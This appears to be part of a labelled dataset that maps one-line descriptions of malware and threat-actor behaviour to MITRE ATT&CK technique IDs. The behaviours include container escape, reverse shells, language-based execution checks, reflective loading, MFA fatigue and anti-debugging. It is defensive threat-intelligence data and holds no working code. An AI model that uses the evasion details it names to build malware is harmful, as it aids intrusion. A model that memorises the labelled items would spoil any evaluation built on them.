+Siloscape can send kubectl commands to victim clusters through an IRC channel and can run kubectl locally to spread once within a victim cluster.	['T1609']
+Kinsing was run through a deployed Ubuntu container.	['T1610']
+Peirates can deploy a pod that mounts its node’s root file system, then execute a command to create a reverse shell on the node.	['T1610']
+TeamTNT has deployed different types of containers into victim environments to facilitate execution. TeamTNT has also transferred cryptocurrency mining software to Kubernetes clusters discovered within local IP address ranges.	['T1610']
+Doki’s container was configured to bind the host root directory.	['T1611']
+Hildegard has used the BOtB tool that can break out of containers.	['T1611']
+Peirates can gain a reverse shell on a host node by mounting the Kubernetes hostPath.	['T1611']
+TeamTNT has deployed privileged containers that mount the filesystem of victim machine.	['T1611']
+Hildegard has used masscan to search for kubelets and the kubelet API for additional running containers.	['T1613']
+"TeamTNT has checked for running containers with ""docker ps"" and for specific container names with ""docker inspect"". TeamTNT has also searched for Kubernetes pods running in a local network."	['T1613']
+Crimson can identify the geographical location of a victim host.	['T1614']
+GrimAgent can identify the country code on a compromised host.	['T1614']
+QuasarRAT can determine the country a victim host is located in.	['T1614']
+SDBbot can collected the country code of a compromised machine.	['T1614']
+Saint Bot has conducted system locale checks to see if the compromised host is in Russia, Ukraine, Belarus, Armenia, Kazakhstan, or Moldova.	['T1614']
+"Clop has checked the keyboard language using the GetKeyboardLayout() function to avoid installation on Russian-language or other Commonwealth of Independent States-language machines; it will also check the ""GetTextCharset"" function."	['T1614.001']
+Flagpro can check whether the target system is using Japanese, Taiwanese, or English through detection of specific Windows Security and Internet Explorer dialog.	['T1614.001']
+"GrimAgent has used ""Accept-Language"" to identify hosts in the United Kingdom, United States, France, and Spain."	['T1614.001']
+Ke3chang has used implants to collect the system language ID of a compromised machine.	['T1614.001']
+Lazarus Group has deployed malware designed not to run on computers set to Korean, Japanese, or Chinese in Windows language preferences.	['T1614.001']
+"Maze has checked the language of the machine with function ""GetUserDefaultUILanguage"" and terminated execution if the language matches with an entry in the predefined list."	['T1614.001']
+Misdat has attempted to detect if a compromised host had a Japanese keyboard via the Windows API call `GetKeyboardType`.	['T1614.001']
+Neoichor can identify the system language on a compromised host.	['T1614.001']
+"Ryuk has been observed to query the registry key ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language"" and the value ""InstallLanguage"". If the machine has the value 0x419 (Russian), 0x422 (Ukrainian), or 0x423 (Belarusian), it stops execution."	['T1614.001']
+SharpStage  has been used to target Arabic-speaking users and used code that checks if the compromised machine has the Arabic language installed.	['T1614.001']
+Some versions of DEATHRANSOM have performed language ID and keyboard layout checks; if either of these matched Russian, Kazakh, Belarusian, Ukrainian or Tatar DEATHRANSOM would exit.	['T1614.001']
+"Spark has checked the results of the ""GetKeyboardLayoutList"" and the language name returned by ""GetLocaleInfoA"" to make sure they contain the word “Arabic” before executing."	['T1614.001']
+"XCSSET uses AppleScript to check the host's language and location with the command ""user locale of (get system info)""."	['T1614.001']
+Zeus Panda queries the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects LANG_RUSSIAN, LANG_BELARUSIAN, LANG_KAZAK, or LANG_UKRAINIAN.	['T1614.001']
+"Emissary has the capability to execute ""gpresult""."	['T1615']
+Empire includes various modules for enumerating Group Policy.	['T1615']
+"Turla surveys a system upon check-in to discover Group Policy details using the ""gpresult"" command."	['T1615']
+"Cobalt Strike's ""execute-assembly"" command can run a .NET executable within the memory of a sacrificial process by loading the CLR."	['T1620']
+Cuba loaded the payload into memory using PowerShell.	['T1620']
+Donut can generate code modules that enable in-memory execution of VBScript, JScript, EXE, DLL, and dotNET payloads.	['T1620']
+FoggyWeb's loader has reflectively loaded .NET-based assembly/payloads into memory.	['T1620']
+Gelsemium can use custom shellcode to map embedded DLLs into memory.	['T1620']
+IceApple can use reflective code loading to load .NET assemblies into `MSExchangeOWAAppPool` on targeted Exchange servers.	['T1620']
+Lazarus Group has changed memory protection permissions then overwritten in memory DLL function code with shellcode, which was later executed via KernelCallbackTable hijacking. Lazarus Group has also used shellcode within macros to decrypt and manually map DLLs into memory at runtime.	['T1620']
+PowerSploit reflectively loads a Windows PE file into a process.	['T1620']
+APT29 has used repeated MFA requests to gain access to victim accounts.	['T1621']
+LAPSUS$ has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval.	['T1621']
+ROKRAT can check for debugging tools.	['T1622']
+Saint Bot has used `is_debugger_present` as part of its environmental checks.	['T1622']
+"ThiefQuest uses a function named ""is_debugging"" to perform anti-debugging logic. The function invokes ""sysctl"" checking the returned value of ""P_TRACED"". ThiefQuest also calls ""ptrace"" with the ""PTRACE_DENY_ATTACH"" flag to prevent debugging."	['T1622']
+"XCSSET uses the ""plutil"" command to modify the ""LSUIElement"", ""DFBundleDisplayName"", and ""CFBundleIdentifier"" keys in the ""/Contents/Info.plist"" file to change how XCSSET is visible on the system."	['T1647']
+AADInternals can create and export various authentication certificates, including those associated with Azure AD joined/registered devices.	['T1649']
+APT29 has abused misconfigured AD CS certificate templates to impersonate admin users and create additional authentication certificates.	['T1649']
+Mimikatz's `CRYPTO` module can create and export various types of authentication certificates.	['T1649']